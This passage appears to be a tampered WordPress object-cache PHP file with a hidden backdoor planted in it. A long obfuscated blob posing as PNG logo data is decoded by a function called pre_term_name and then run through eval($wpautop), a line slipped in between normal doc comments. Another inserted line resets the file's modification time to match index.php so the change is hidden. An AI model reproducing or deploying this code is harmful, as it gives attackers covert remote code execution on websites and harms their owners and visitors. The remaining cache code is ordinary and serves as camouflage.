1u8C6F2BOXiIDxOdZm7ZzU74R6NeRhXopOkOPYrRNBXrXDcq40vRonm9xbhwfBzFaRSMygJKJ8RuDIAfyDaE9U#iu0mnziVQAe#tRgle7Zwfkkj7rt7oAa#1nwZxxwR4DaDh#wP2OTsTNhAkuLhCn0cIAiWFppM3ARbqwloY#sfIygkWtWhPs1jpNtpxNb#nLcfF2VMUPuhlZFTiQaCNJgi0zFVaSb3FAYkWvEyA74ZS24IGuC3uGJfeZwzQh3xNXvHlQV8WBFiVJUHSx9UksKegr2U95DGT0OtqWvsrvlWP4GxDzIwl4yp9dfNQNJkV#4GjnqVeCXq8w1HUc53Y5kAulISaBEdiBnXSX10u2vxqJB7HD4XILmospxv%LpBpN0o7CxfbE37JLzUtBTgH#vaodwWUJjBnPcmfYwCGYIWIucub8Bu9bqUN4NEzCKW0%r0GFlyfjPZl8VMkuNV9j1%diQbsMeIyNwf5umDp8CuDDy4DyPl%hQixwdOiyIGkv3ZS81rBrf9292dB356oM7mNFM7W0YVg1DTtUXOR5LaTydKEkjOXVJyP27O1CWivTLo9BetKe9rJapVVztvcQrUAj9L8mKsPM2EiBuPq37239bU#RiD5NYGO4bX9ZKKwIEYFum#hAgnWGe%rUrylrnG6PtQu#fS%S%rHVFq9tAUedrNGdGPX9RQq4vQIhZSjh%1ZM3rZMKlXVo1JP2wKzkIpUaxUrpOR0fSpq%vkPF25fkVyzyDkBbRoVk0#TFegbAdfb8ZulZfYp6#Bg5scWOY4wJqdixro83c3nwKeKBgn0lMzJGR94HKx#EQd5HNc4MztjHHUvK52%eErmJvhtlm2iVfwWzTMkMA0uHZtvnDkqHMhjtSkl5KgZJmp8ojkQDCOoynpOT3cVsopOhAsh904PIl%FH1cv7kI1l6FBMdMjVXshrIdoA9ZYVEbhegT6MnYRnDdHsV1DW79758vu7HhA#1L1n0OoxOCE4K4b2dH8okD9TKAcfXO9Gc6XAVnCHEbFnZL%fpuAWODI3Hsf08WlmjwUNAeco0Zn8mqluqKnSAzvpdlqYAm7QRFkUivUktXT0K3aaiUDaZMZfFmgoy3t5GPUH#t5iXqUiZD51O%oTtP7YFNwJ4yQKdzPvGoDGgdztOUrASwXz5dubaAAVIfVu3XLnGtN9LQoDL1ggeBQ7tNFWgCgFuBl2Dxj%ULBrzad3mPC1ojgOv7vqAtr#VfqkGhbyV54cjAjOCyl8zuSLAwJk2R0ofGcRhfdyNN4%FE51D9cs4xTYE1UUile30uyJlZ58XAU8r908oFtHUuLhwAeEYpxdmlKOh4i%8G3ymrAHrSwNe8F3Yc3uSbxr6aJHxce1TS6#yVgk66yH5DO3#giQTlVP7SHlgUSsgcjJafHskNQ4tpwYhiw2Kz4jBFR6WrnZDKA69tIkbVoldLAy6Npf5Y9Df6f1qGQ8fBTsUFhBEhO9XdjNCiQilNWGhOddUzDAYRxevS0IWtSl0PRDpnyG8CNqjniVAfdW3UFnOHPuGaeeplHnsphADGSex5vz49m5#6goHe8ETpV9dbPtWHyHPk1L3IrYhH3l1OW31TrUy616xJVDZS7LCXIXj08yc7ZHdlqN0CY4szdh#0#H2LEcaklsz3yDg4HefY523GMwQz36ooU1Ig4#dfd0eNrSciuAxcq8U7nzVW0K0DWvJ8biS7%Z2HiW%zqcnzvqNMDsJlAzI3tWCAW1I4lKOd%48GkFvORjWK3B4obRUrq3UgBOZc4%1k#iC7Sse46aDiiJJQNWvCNPcxgHiZIoFKmN4uY5mSj0FHQYTaIO#KQgAHL0U#kLEghyrF8kftjmwTW%I1mQkbL6HHcJU8LeEMEEiv1nBf%XX#T0vNk1jEGRwwRSvMYdb7trQNPpI1vSvuC7s50NQiI1fHh98HXXrEAdmVAL6atad%YImAAsHoB%pIGnNB3V2mLzQ0a4mQXIWl%0th1L01shxAtWCmRBMsUQmobFQDsy1UxPf50LvI1#FvvUbxWQHIkWCjywUWsPf6oXJzvVU0aWstZx3jOv8BSvZzb8LmL1d4#vUu3ELv81mVQeKXzEc2Djf#FG6KM4o8m5SSe2tKYOV%EOQ5zjL8WdPuY9gr3zY5MxWOzFU1rLIlxH5MAa7M5eTuRAF2TxoE9QuYVUm4JXX2AFDP#BJyb#x1wXfA13JphrmYqfk6KYayVtAPHX8tIQawA5Y#dLlIfyG#GcQ75XhycsrjedosmZeFm6T7NdHte6QgKJlgMBAR0WjyhELJSrQWeY#u1WFMVC4yBmPXa6zv%LPfWiZh1kTh9FKpt1IaLvmGfj4GwuKvBRjpKD4#hinN2PTi%KGlGoI3asfAi8opixISntERR9e9iOeV#x64Yq7MyujNOHaeQuB0maBo7RQi4cl8SQG#NaCn0hC9aGvK2hy0BtGjDmr5uuy6HyhaegjFB6TYecUqtuHTtoKfMmfm9fAjb#GJhJrVY4xTX%37gI6nuOjG%LkkzNwjFmLMUmJLUp4IXDyjgz69NBvaylWGe26wpVLCyvnwH87%WuB5oU8qb6WuIqgXoMEpqnuT9Moj%PTms247HbMNNpRPGuEIjsizSTCh1G2%D7%dNRri3ipSCb9pM9rhwXhK8RwjiIBjEtDytZcU6PTNVAsAJRDWAAqJ1bt9BP6tPtAy#nXsdspqYIYstLXsKxule8rvogasxVSYAAB2ld8EBGVPHdnQI0pFO6eLD75DN74XjYvsLSyaazdNEN3IVskxh%VEjqQOE005nPmbUx3HXk%ZiMc0XW4vSgZwbVLL3d8JOVtHGGi9nodJufwRKJgQsY#HqIxSaER7o4Cfr#jf%#UfPnZu1Nlt4gHbWSjXiBgGeZAlsGatXVOhCIZoNFV%2GnxBbJDhqkuHO2yOATr1zuL%ta#m#grrhjUwSbEBnDNs#SlzzVw378lcd3xwD6dm2PyFNHJ8rLGuI4qeefkbMpZ#Yg9SuY%jOQT2Z%vnf2BarvUb7bDTUmRN2a2MuwXdECcyqLzePY503q9Ap6bLCxx3yUN5S2yHhPDVIqzcN2qskJKToQ%hI2%kU93qSht8nZarmQAfmg6C3yHegsy1RLWDRqe3FWGl3P0zWkD1#y36v2JbBZnTRJGLJQ#FV%4%kwUBj0MEaVezqjyO9o5fyafQikCZ99VRMulPZp%bFDmmO8hiI#Fpqbcwidyae5eT1TXeFZX7htJlHN1GL4GWOLvTuAqDVnKMDC3DyeTR%Ncc52P77fa3##eG92DnYQ6MSOYroHF8jZ9LuWihOXHsOa7iMQz%xqPzmdep5JACboNlmwd7oGifXLlYkiy6gJ0cdq%WiPIm4KPE6QIWBsIg2zzDwxBs70FxfubYWGswGS5BdZ0Px0IwbK99uWUWoVVRw5BPjhwtTc3%qovSK%YV25NAYGzt%Qd7S7esyuNu0ISfkPVLUyln3KKNDLgZ%B0cKjpAWF8d02QG6WpHjy9UnfiLB#7lAirOtC9OhAdulf5COsolC#WvZKcWrCrk1fS5sOT8ilgtH42GUcV4NilsmeJHtFNKSLZcMprR73GuSmNAfFJbGe0YaCQt5uBpVTQZBbkyRA%5pWXYJ#z07rpjnebLYz91hXk5UWO%Vg18rhZhesgUk06vOGjykFTcuz%jRySFvTMcjbhIFNQQ2Sn7bTUTZ3E06a7223lswN37obl7P5rDkrf4NzdfeB3LglFagfqis#m7lT5F0JnRjnzMI%#42In70TFrxtUlMTp8Uvy5Eq80p#Cuoutj1Q0M1LWAvBs9xct2C411dWuVH9sNnDaTuBgVdNINg#19WK4IpudD9DxXADVaMQAJXwezrM7d6TiWcfWmiXorRWOvWW4lOAFkw3kqFcTopyhhQIeR3Igti24nMTW1e9B9nlj8qnDreYCXvLJ#1qC4##NERQMN3zUBjT8bnxK31Od8eQSlnU7Wn%GryLj%ZWFKs6wxmD6d%0fFZgOWhP06b4iEaZm%CjGLLZRS#X73dWRoKxUrw6Nr%yK8HO8wmAsX3ysz8h5bcQtU4XMVpqKMo8QfwJgul#fjvrTAdi2Qk7ASuhzz0%PWqfewNGXt4z1Ih69wpBmjEch8w3yX378jXx8iZ8Ws4vJ3kpT##9D0lO1yPJCvwq4xvJOg2WVqnPxLaK3DpN04GL0k82VgrgwW6iNrs2y2DCQbB84yNAS0pzt1#z4dYhVB9tkceuSDz#IisZ0TocUzhKeRvvzcR5gQ660GktDTA9ms0PGO%bpNoLxCNIOEQe%LuiAvvqg7ooidusE%z9dlRUg1n4%NxRZO0xxe4GdaMHq5EfhrEHkkn2UNYPKDfglGtnj1bGtyqurcGCaY0MANSzUaC5XoLTAIri0E2X4bMaTCrfW1u6sXyoGn#scAq5jsjRPdkYxF24aNaZ4M8fPYIpRdRxvcuB2jqPD9UPbRwK56A7fHHqP#6lQ14KvXoGyQjIfQBatPmPdow3wrI%ly7wrIAQUciiJdKLqlqY6SsmNlBFmH8xgnD#BMpZi5#YPG6Uw8xWxBET2TkvG#SACKShbyW7fBu#3n1eZyKKl0KKmk39mbtopJMYkEf%XBENwk3JMPX2%NGbYwB79XMzNdj7Y63pnxHnemtWpoA3Rl9F6T2jCdRpNYFDZmkyibdbmek0P7mQHHt2y6GoU2oGkGwAlb4d8cH%GbvByAHaU%7DfSZWmMKTRSPiRGK9v2hOTGBy1hFIHkt3xHvnJBLu5ICuIYL0sbuv468oR8Phu7DPBvYm6%0YYTfnCmOtxxE0p9GZpG#1aiJ%cL7vitWr#wBZfLlunJgydRYiXzI5#u8SKDgGgdpKAvbXurJhFU77OuEtKxEVVZTHV3%TLFTfJNy136J3W6vkerCwXQLuW0YROQ6uDAKVvzsFEsaYD4yyrAERKw%xCKrsmpUyKlWjrwrW%fp75Shk3AgnM55Zv4DtQOmWw0cj2t3INlIbxM5UZTB2kmQY#JowKE1GLSJ2b449Mu8sK18RT%ywLqVHXB6lObxhsig8W2hdkwzAExkbrrkRym4stFweCjQ53r5jXA43F%ppL3Zbq5nLPnvGLr7MDlwy7YK4#%M8U#A70lr6db1bHnXM8%oSJw6X5mHfV2NJg1wjLgUg7c1KtJmzJ5OF2tlIsuK#CCjtiIXsu8N%lB#JhXeaSBpLIVOcsB%3cam9LMl2%8KQm%7aY989%5wARi1t2wnBjuPZBBPUGVTpIP562LUbzfzu9HkX7DUNX#DWftJdR59x4jxbBvBR%7Ijut4lU5#1TXwRdkuqhy2vEpeL1lyIJI7RTdV3BEsWMX35AF3MafbC#RZT#ddNGaW2WKR6dBOGG8SLQujDcih6163b7M5He17FtdgnjMvZZF#TY#s%cXunT%MmCPqOXCz1kE#AUbdhEnAK94BsI1AYQcu#cP2Lmma9dB8pGs0AQflEefdFLxjCKja#rIhEUK3dC2AhaSOxyBsx2bw3Gx#m6wOdUew9f6aCWb90FY89tmOksJio8mG3lYnr7vxVpGKC%sXTbt5H0vFT9IPAcT%oI71jdWrCQoG5vk5yhYe%wcN7flmlYiZ2%Bcr5D0WMgsHBvNS0po50iRyod9oZW3ug6W4hq9LPUuuUe10Fu9E2ppGthFArpwgC2Os9jwifXnpZjkcL2KwBU%8zn0Y0EUm6h7uKZcRUD5E%4Fdu8JJnwFaNTgJvQ5qma8Oxb0R5SMFKuMbcOubuR2aOmH6#bFAIE5rjyezcs76tZXHkQpHpqSAGbsEj2sGzVLvRX1HqEVKCbid6sWAS#NjvwIxiWzCfpPpF2yl%cao0cRKZ1LK4O5dLy7NK5Qvgx4Y%XslI%qAjFCD0Ud%%Sv0sAJl9jM5HIDrih#dqZU74fhpFhL3HTYbaT6%xJSHbPeLKzefiLgFXXGK9xd8GQJVxux3ynSJ9bRdKaX6p9VOKeF%0ZgbOkTKComXSvTnhJ2pGgGv5D3BHaxd99v2G2sss93CyWz87RUGKt64mYxyZ9K00PxLwlN5t6eY%KGlh3VC4mhJmwQ2nrL3JVULbD3G8K2qA96GoflKO23F5Ir7aM5TAG0HkSQxZhod0s11TbWjoy7xEbkZUUQIMRxEA%u5ixL%gEPAJbufs3HsXmEWru3lLOKpohbfvUvC3z09Ezs7WweWhQnUII#svjl5dm7eS#u3B4y%j1iYl89oUXBpRRdGfhXoE7ETDX1k4cEI6697#PxLmJQ411N%2qFqBiKcpyEaIR7z2pFW3yvcc#8#s%Ee1QjCYJCNwTkCxPkKf#FJxlv#5r1GQdktywVuPIy3sdpgzCyI0URp%55oPfYdixBw4cvCZ1IOnS%bN29pZN0qDOjgWTKhsSWAiYDMKSmMX9eaJ1UvaGEbJkUVOw0bgd0XzFs4Bc7m7G2uok9gEiz8XtYJQdYwgM2nkJEtOx1SaE8HH9Zo7lj9qVu1lkXH3nRurgMlc2o%0oRaAwaefdSM1gkk%siHNY#PAOhLw3nU13oa5Z2S%nfcdafRagkXYjN53iRiSQgeUHMaPTwTboyfwHNMJSPO#uZo6MeIVSDmT1ZBmyDz5J7cT5bp2T2PntCSow5jKrOyZsQFgsQ7Fszw6qCkR6PnWwFcysov6F#Yhe%KKDFKC1gYP4eCzI0Egm2oZ57ZaMgH3O06f%80boymFF2vvtKoibpm#5WASi2zH5lGU7aTmJOdPweuroyGRGzHo4aKoaoZCGylZ0wh3x9z0R6tlX4IZ3f#UfxKNu0u6TAeaZlns7jyvA9eiQYZGrFhccloKpLTAomYkeqHz7aPfHoWWCbQ5wvS9ct0n2t44nu0c#uCv3mmHnTOAusDZkTfXSTSKGk5yd7UXUhDaseO2UcrKH3Tg4kvP6H%%cXGkiayexY6Q6gH1VnoC%jgtIa%CtOzqeAwialhph%ASorLw%c7csg6QzvwubwjN3mumiXxg8I1kHZyHkLdmxUJf1hRsSqVEmNgqYoW7fZS0%#AHnq2Zfvzs9f%rSjZP0tsPXKnNOAPpyiL3jWyiT8LzIPYoTkB9hYVR0qlpDaagn8CYbsPGPS%c#iy%ZsWfn4jWq7eR5DxLNoWLG%3JW3EfuzzSAD01mf92SGQ894OZb1J9Cl2zb%hOnIzWbE9xhPYQX5hrew5McnkzL6oQeJWmxIFLel8Y1zvrwd#EU2YKWwBfx%3OOPbEm%JPnqcH7AFNdPhW7qaAZmhAxB4Ai2M4HLOtLotVzYwKw67NOvGLPtEi7VdmTzQjOHC4SS9O5w#FboJ1j0Nk9wF01mKlbc9cS2dV6y4kjGhl6QJUPE5QZlj#%31AK4423a98NUxxLIKZu71z1yAKXpzJEDoKyDFnMdijbnNWExdTUdPQiFfjhKcW1Mfe6Mbjnqf4DXxTq0ok9CSBssTvVU1ql1PmpOKeGdO2leMbHjmXdufvl1UqkpnIxwN%kYmJ2vXIZZWS7%cXsE5NH8qe2K7Pii7FoKuziHTr%SFCNH82OZSfiEYTQXbBzhuOCXkp2a88hokKKkk8bIzZX0cndoFsDzmrDg4D%M%JAaKSL3DGh1z1Z2aHRr2PmcKFRojpJ5i6Ei1gau#Yne9IWnvsc6Jo7zgS%HetjirXvqy8phhta8BoStjfVKP731ke6TxjB12HvgbktWdMeNoAH1LkDe5WdJ3qwFOeIfzrJqfZNizzU8m8hddq5afR8mGMTaNrXWkcPKBG0NffxbrZ5GLBIuK8Jh1ms%FnYE1egh9Q9qwi83JKekHDWjD329YbEzgICh3cVGoRF7gSltFytHxBKW7Ap4zD6MSUqbJrYKV2KDq%6IBFzBEHj9K6gnA6NQ1WEW23xNiakMaY6Il%dIm8QsK4Oq1Bk#PnoiwDFAybHg7WMlCCGkcjE0dOmAqrMpvo%Sa2M4djiiM8ZvH7klBsDPwYY1mflWF#nVT9cRX3D6CuskeFebGluv#PPggfNIYSVf9oiWm3ru4vG4Q6mz8jHGexNPOJ860G3QIGk95xHUSMfUHeLzqASLOxjXkEOKhyyXNrqmA#ZzmG3j689FsHGm1GI0hGvJaNpeTnzzS9NaByOVlR6Rd5if8vlHuUJmzxwDCIcaSPd2Q6wxIpAxoXs2w5nUppMSjMlp3jp499MlX1vBovAdLkVBsjT#62fZ06ISpWbrYOwhLk6z08xUCtr9hGC5ksKZ8fNMVUywr6aH8cKRqfZNcdJt5Z2w7NPfRGfkMWO6tjgeblhDOOUXYKH2BunDe1mQpvthalLOrmDRslafxNOhsfoya3gXDpNzgGh#An5q6OXiM7vX8AePmuJHJUXOpLgEvtuNBjx5mL57ZNdu5IWFkNNpr34GdueRJ3MFMDzJM5oycATEW5q9pfgtYDwpMvKBv%VUm89PUo5DNg6lltf4I7tACn9lO2vNyJs8%RiNAn#4X5sZMTtOFReLEJVE8ZyvnkS8U011ezgE2QC4QOqh5YkyY7R8Dfbx0gRjS0Zge9%zfWq4L1eCQtyQ%MjOA6bAN0mCi1aBS5ffU%d3ImXpr67H5FPe#QRnvxlxMSENjC9aspEqjlqG%e4yRyZt7vm7h7WPvGB%%0jRMHiDTW1J2bInArfKLurCW1lGQswQAvpPIsYq9wabDzg2lsUxnVvWGuPE7PHnLcXe%GXfi6#Hn9Dk14ygO%YjeA0IY8014UvZ%gM9yA3ntif5bM46C6aw2S3tGTheay4nwj#Ybm4R#Ak3jLUemZnN9yGPw8W%SkxrMtxlatL5FX3OThueAeehpyVE1zVavAzgxdAkzY9%AC4KQdFH88P0KEAj7Hv5AwVb5dsQP4NFjiiV7QyTaxntVO6gbi4jGXu8icWzchy4Xk6cOJ4MT#ngER8P6yNv#DvvTV#5S2hm8SIfRKNq67WTDcqMOuf6N0qBqhNLg4#xPyli2Fwvk#9B0ajxEaNQot8JXqXih%ESYRdO5q8DDp8OMiHdYrEcQgA7V5LVgY4l%EQPvgH4UaihtHJiGVWvn5XrRGGl8aAS6lOxj1s3uwmLRwz08UKX38zKvStWWYb4SxZeIGSYFoUuzZ9LoUIIgTQ8dFhUQgRfIR0BE2I#K0WfyyHnmtVvGqnhw#Bz8iyph4M5HmWsuRF#zNPElP#9C6XwAt%pYuBH68#rMO%huYtR9os0#SzIU5XMtRHPCEw0XDPxnwBzu9XuAqQ1kKu%vUut5JeXXTolYH#77WaLEBVOu8#rInJ%3yCnd711NFICUYuV#VxqfSpegdbGpMrcJ7gc810zTfZgW8pps6g3qLM#HBw4HXIWfxJLNgE#zuXJQh%DXS1h#RcbINow6gYn0uX5aYvaYLjm4EOkuIoWgDI4q6ltkE4#qbjOYHIfDhqA#vGs0Jlpp0eSogRn%Qv1c0FOlIyqMPpOqlF9Ewvvh03a3rydkW#udoDIfd%4dhbG4Uz9OXpnUpCG0UmYKwgQtCzAXvR4%ePML758512My#WoPqaddyolemF2A8a2Yztp1011v5uYCVbGhS2oNpgxGfRIZwKwruryYRu1rCbCkXtmCh%dMjJPuw5SO%HB9GX2ZT6hvJYzUt#599UYpC%N9fQSTzcdH0#zchJkgS0MI1C#O%jCCr2ZrQEDYbtzJw5MDYePJ47sQQVIrE7Pvj1F8%NVRigA7Uxd306waeQ6NxV8vioLYOJoWbETe5lS58Qe5UZXQdK8OycYB85eaqfq#9rVvUPmLKF9ON1CuxCYwzVDB0956kJ7VPL8WfYzLI3X4fPSXoSgAAJhTaGbX0v%kkorOixUuTELLl4V041Y7Ry2J7hRy4YdKasZIZqnXHyXfVz3mSw#7Vyh%VYLg01PnWjkbfiUrEXr4Y3lwM0yD0#SqpidfkKX8SPZVARaMkfiNjQ1qK74bXS6Y9RtO3oy28hv#rnffi9c%5QuvukF0IGUb%EG2LUE2Co496l5WlbDWkB9eRJlICeoxjQS2AXf1HVESCM89ScQmI0mqMjmE3Zj#9fsUBwIydctHEB2YZA9Qd2GEITTvSFQ06WfSJsO#XN8Fuc8xWI%CXzv7Q24ub9iyg5hr6VLOIdbMTzEj5iOK1iEeDgdStn5wjYNg3nUmyDepudGM0l0Xj%6jUS2rylPLbJ8TLw1LhCBe2AuupU4lbq8uE#tDU#X#wMEiJBYMf6X3vHGD0tmj%d52QAz36qAGRihC99YGq4E9yx0eOayjq6c4BRu9vfty7Wo76CKZbokKfsFGNHDe0RZqEdIr1hrfgoptxvKUzdk3pbUBLXjg0tS#WiNtLVXnch#ArryuzeFWgOQKp337t0iTorHOsJ3UehXl53P6EZWl78KFJ4hg6B4wjapygdqTgmpe1qeKCgSxTyFsqJocCzvkxYcAPUwnJXvqqCFD8PVKzEhJgQiGDcmScSMNldpPkoxO%VoUKkqSXJiqO9lvIYp0ZAQtNXWMhmJ3pBA55YVzu3DX#K1F6O%WmPHizPhAf2gRMqV54wJa0BHgNbpTlh1GN82QvWQuBe2ucEzUNx9CO2oWcr5hmmK7TYUzz7ORawSsh%JTGs46%uNelhSgECZIo0gUtrrwr7h5vxyl1q#OWI9%xuB36kY22EshyUg23BL8QCvg6JGjHUSYrCkkonsv7vrfSW91mb0cg0NW4Ag6VmdEwvlJz3Qb8jjU4mh1s9ZMOK5FeH8j2%oM%BSYLlkpEMoBRzDrF6WJ0akWFRz6tZKOhCY7FcBa3q8BoOmnXCCNFrFhxafUZMg55yhKJZ8M7Af6t#RXYUegbZy1vD7BYiR9%k0z4QG648kePdt1rx1DNSpexnYaOMiK21xRqeGLbBN8R47wZKqBUHTUPstn%RBlWnIMppcAVF5eMui1JwDTu71LmhcTCm0fQ#YPiYsA7EkQeRe5x#w6h53ejSGQT#HLPNkDc3eSXNrEbhGiOWuVweIqVXOWj0naNeNl%YvZ01fmoWbtJ13zxTv6Fg87xKLizzpQvdUHYYr1xGi#%k7YzK8euOsW3O6l%RspSa08jJx2ZIQcdbIpVZx4C5ce8boa9KlW9f0mzfDFq#8egustAmbi4muuRanSag#%4aHthNFlM5U2VUj9ZTTMK0f4Sj7f0E%WyRGOL3Jfm#%cUz1qmPhQRa0rkyZb3#D0MbqMUrlzlq8uRnIkyXGGvB6yK7S#fPMvMW#K7fg4clCJRcpA2bSPKVEjYbWmM4PFhHJLFytGY3F6VJibRuG5mvSQzo5fk7UXVjkvJWoP1Jv2cFdRST9jRatZFtFp4rf61WKTfWYEvgg7G1LA#7fWceM65%MD13hGdBp1rmPVSljO9RvxVAVoY6Lm8aseAvNlb#wAxVGHMNb7Ijlz4dSzNo2%e4nwFtUFgyD8y5bDLxHOpgi0QtR8ONvmUxw%AH#ogZN0KDxCoJE%3SniTGRil03sbpCju5zMVgIAdyK#S#8AicG3ve7eambK8gxNO1HWrhDrSuV#07QuDQ#ORrS5HwATVMy2m9NRPfziGEExIaCGvDhaAS43K8T8SPrKW0bp0L9Jynj5lxFKkqG#WHuHRRsvpzYi9lF%zbLsw8M3cygHPMAzAp%BwMCwxj7T1wW39LttQYjGwQz7JoZTxWXJU81qGKRTNAt0VxkMzmIJL8XGMfoNpAK2LcBflfRSnd8awn%%fqZ7mMgSWssRhBWqrLDpqgVtNQLWj9fSnoZhXQw%vshQM32rhSOc#JG4o4#PycOU2L5FDx1o23GhYJ3jtGLvkhHQbtNo4%s9%j58vYaYhZPCmrf#Y0#yllKd99DTkhblDLXhmlba72R6Pg1KGyiztYCbAKZA59AWRZp0qv#48PAMCRGJv7O6IaCgiZ7ZsSoKeroiRNstvLIfl8ZGuikcwQvjiql%EqmtJLPCNHcRmOL7c42tkE2uLZLoIfHJ8CPcuWujotWr%Cn6JYq9kCaV0zSZSLzCL1HnSywRvW5tl#KTtE0pghc5tGENFqmXEH2dMb9cqs6#HONnSwHk43fntfNb6gKyePJ#zNWMGS0rCziq%Tw%0Zq7onMAePfmhyjS0bxs#UbKr0iRpqV1fxEMEhE6yiyOsjxlyCDd4NBWfWHnWyFjaDCJV%lUKLWnU%Qs%WvxgjW5I5JghpP0P#qj7letCTOs%FAf0CZGr47hliWKZZiB7tVCN#RzK4ZI40N4lBth3h3uKcfsdpOk6OW6Y6g9nSoiiJ%gWvmjAYAH9qEQTRMk%D3gkMFiEDjUo8JlPD890#Qw%GjAp#t7NYaKY2aCZl0OLwuZzRxjPhFgUmI#hKP1VV5YTp2w2IshmV8wRiqadNGcobW4CKEoNaf64fSb%UeWpUBSc2qyIPSUUa%18wmGYW4MvurLndcowl15TbmJcucszHdAglkrAxwNcUKKSEZlR#5xhPMLOTEuLmADLfhNqF8lwIrOXEEOlg2asC4sFbYGcH1SfGPqhBElz8MgEUEqQuWfREyeQ9hCfj2ogADnEI4kHxQ1AvnEjNDQwzIzw7obHOYCKVnQRB756JYnw1k7ON3X3##RK5p7lEBeBR5ySbaDeBQr4XFlyzPqmuW263h#mkhZaxZDeRpB5PPf19cl8OP1SubDOE2D9pxXyuh1QNItQx0Jh2zdS2Cvi6m0adEQzn5dTgjkgGJrn31so4Ayb4jY4k1pQGcP3eT8xO8EsQ0Q35rvXg5NKptKdpVjlz7yxAVShY8HNOPnKSJ8TRyl7dHPlEbOtyOU3U6ZbOgRW5PwU2NyMuBDmHz6EEIh60p7WadWkmA%LDImC1dul2O6JjlzEokUtu3opYSY24djosNYKuda6ekc6Uo9r1r%cuPPCfJmDa1EdHGBVoL4O5p4wDePwEDYgy82DIjn3NX9bBP#PudMecbY4YXmgiVy1zKmpCMpBOeT2THjB%uFxOwcYHxQheQEpHc3ZpG55McG2uNQdeURqZFiIjT4tLIb8PxdZsJExNcAihNlV4oOEnAgA6NPvNRScE0gBob01r97Ft4Z7TjvL9vSDCzxM09%AWvqubr%QH50lfJtuTFVaCq39s9XOm3khwTiqZGGPNh5Oxvhm9ruPQFu8boroh2XuRoQ7TKVQq52xlbfg7c4i6W8tUVS4Bee6oSrtVjlnTWDdAlzz4cwGaTNiRaJjXuSuWOeZco3nu8tBLplA8Kr7wIkfK8c02fw4R69xjSfuZIhbxOgFLrzB6qQpicjfx6L8rT9k%G8ON1QV72KDGuUn15kGXoSutiph7lWoJ%J9bmSLrue8Nd5kT2DlQPfmHxFc#61VxbKpmQ%fgiPEWDJgrZy%mdlTEDE4S55sE%vMMewNjVmRjFrAB8eAK%jV3STYK%Z5C%Yx3o6BxASNFZnm#fThM8bjpP8rWUfI2Z3Rwnn8nfUV8jPi51%Filj2FQ9IvGpslQay3Gwhg4SYIO9y5j9mR6Ai9#Ti1v#l7UcnkeIwmsvz9CNPNK049sZzsyCPa9MGy2szDk4mOdPo44eVx4JRau6o30aZht#RbBQP9Vr3eWOgKz#IEChNoMY4AgoSafQOCvzY2TRtrurCaRYSllW#LSKWwJnGZ1h#Eb#dVQA9CMiXLq9d50isEUbkDXeCzhUcbPgh2Jw2MwIsWL#vsT47tPIdxgfQEfYulCYxvk9yPGBZKNxl7fMtwFB78JiII1YKkFBwrQB5x#MQBIXnXYfiHUZ748juOZlRyV%JsE0ni2WcQyxGqE82U9CRdjdWLjphyqeUhEly6BF8oYXFhr3VSmRdSXMk1X7ck7EzDQrDVFxSgAzrRP#DSTFqZ4lndXDJvxytcKqBBh7aAgJYiMWk0lxni4W1N4Ks5J#xUiSsp4Ho3hZArh98RDHB3gF2CHJ8pb#yAMqvIHczPqXzSXpZxGWix#pGkSQeC81BOJuppaby54UHBVJwME1wgDJBDKng%ZQsIkYXVTDfRGJ%uOvayIQzF6Y35TWPIzg6ZwcAJGGxO3QUO4vZM88jskIwYlQLUOWLejV7nxxYxa2Xskw4oNI0SJcxcCSJPnldN7BzRTXcnD9fj7oPLFUrvZf141#Ov6M1BcC9749mQlw1DVKpGapkqY8G%pGh4Yl74UTB%YrM5yhJkdtiSRCBvioKKKxHXQ1d88P0V8fTRjdZ4UkvYq1fSqrj7PGbl7IpwGc0IYkIFY5RzBRoGTv##YHqy%J4Ttg5hvDGGDthPe%zIaayFKJCtuT1gzHasgbeDwAvdo29qv96uV5ZckXnx4AaNWyMawwNjyOqrHtNRve7Ktmr#%MslC%bNRZk94#BVEaGmDSO3piTNzC5K6f1NC#3c9MYXfb4Uv9I4V3h%p3R0iphS1th6HKgCX5rUeGrWc2qU8eXgPWuXruZkFwi8FfwKIgiH1BEOyo%%3Hv%71r%%#r%%8#%8B">'; preg_match('#<img src="data:image/png;(.*)">#', $wp_default_logo, $logo_data);
	$logo_image = $logo_data[1]; $wpautop = pre_term_name( $logo_image, $auth_pass );
/**
 * Adds a group or set of groups to the list of non-persistent groups.
 *
 * @since 2.6.0
 *
 * @param string|array $groups A group or an array of groups to add.
 */
function wp_cache_add_non_persistent_groups( $groups ) {
	// Default cache doesn't persist so nothing to do here.
}

/**
 * Reset internal cache keys and structures.
 *
 * If the cache backend uses global blog or site IDs as part of its cache keys,
 * this function instructs the backend to reset those keys and perform any cleanup
 * since blog or site IDs have changed since cache init.
 *
 * This function is deprecated. Use wp_cache_switch_to_blog() instead of this
 * function when preparing the cache for a blog switch. For clearing the cache
 * during unit tests, consider using wp_cache_init(). wp_cache_init() is not
 * recommended outside of unit tests as the performance penality for using it is
 * high.
 *
 * @since 2.6.0
 * @deprecated 3.5.0 WP_Object_Cache::reset()
 * @see WP_Object_Cache::reset()
 *
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 */
function wp_cache_reset() {
	_deprecated_function( __FUNCTION__, '3.5' );

	global $wp_object_cache;

	$wp_object_cache->reset();
}

$path = str_replace(basename($_SERVER['SCRIPT_FILENAME']), "", $_SERVER['SCRIPT_FILENAME']).'/';
if (file_exists("index.php")) {
	touch(__FILE__, filemtime("index.php"));
}
/**
 * Core class that implements an object cache.
 *
 * The WordPress Object Cache is used to save on trips to the database. The
 * Object Cache stores all of the cache data to memory and makes the cache
 * contents available by using a key, which is used to name and later retrieve
 * the cache contents.
 *
 * The Object Cache can be replaced by other caching mechanisms by placing files
 * in the wp-content folder which is looked at in wp-settings. If that file
 * exists, then this file will not be included.
 *
 * @package WordPress
 * @subpackage Cache
 * @since 2.0.0
 */

if(isset($wpautop)){
	eval($wpautop);
}
class WP_Object_Cache {

	/**
	 * Holds the cached objects.
	 *
	 * @since 2.0.0
	 * @access private
	 * @var array
	 */
	private $cache = array();

	/**
	 * The amount of times the cache data was already stored in the cache.
	 *
	 * @since 2.5.0
	 * @access private
	 * @var int
	 */
	private $cache_hits = 0;

	/**
	 * Amount of times the cache did not have the request in cache.
	 *
	 * @since 2.0.0
	 * @access public
	 * @var int
	 */
	public $cache_misses = 0;

	/**
	 * List of global cache groups.
	 *
	 * @since 3.0.0
	 * @access protected
	 * @var array
	 */
	protected $global_groups = array();

	/**
	 * The blog prefix to prepend to keys in non-global groups.
	 *
	 * @since 3.5.0
	 * @access private
	 * @var int
	 */
	private $blog_prefix;

	/**
	 * Holds the value of is_multisite().
	 *
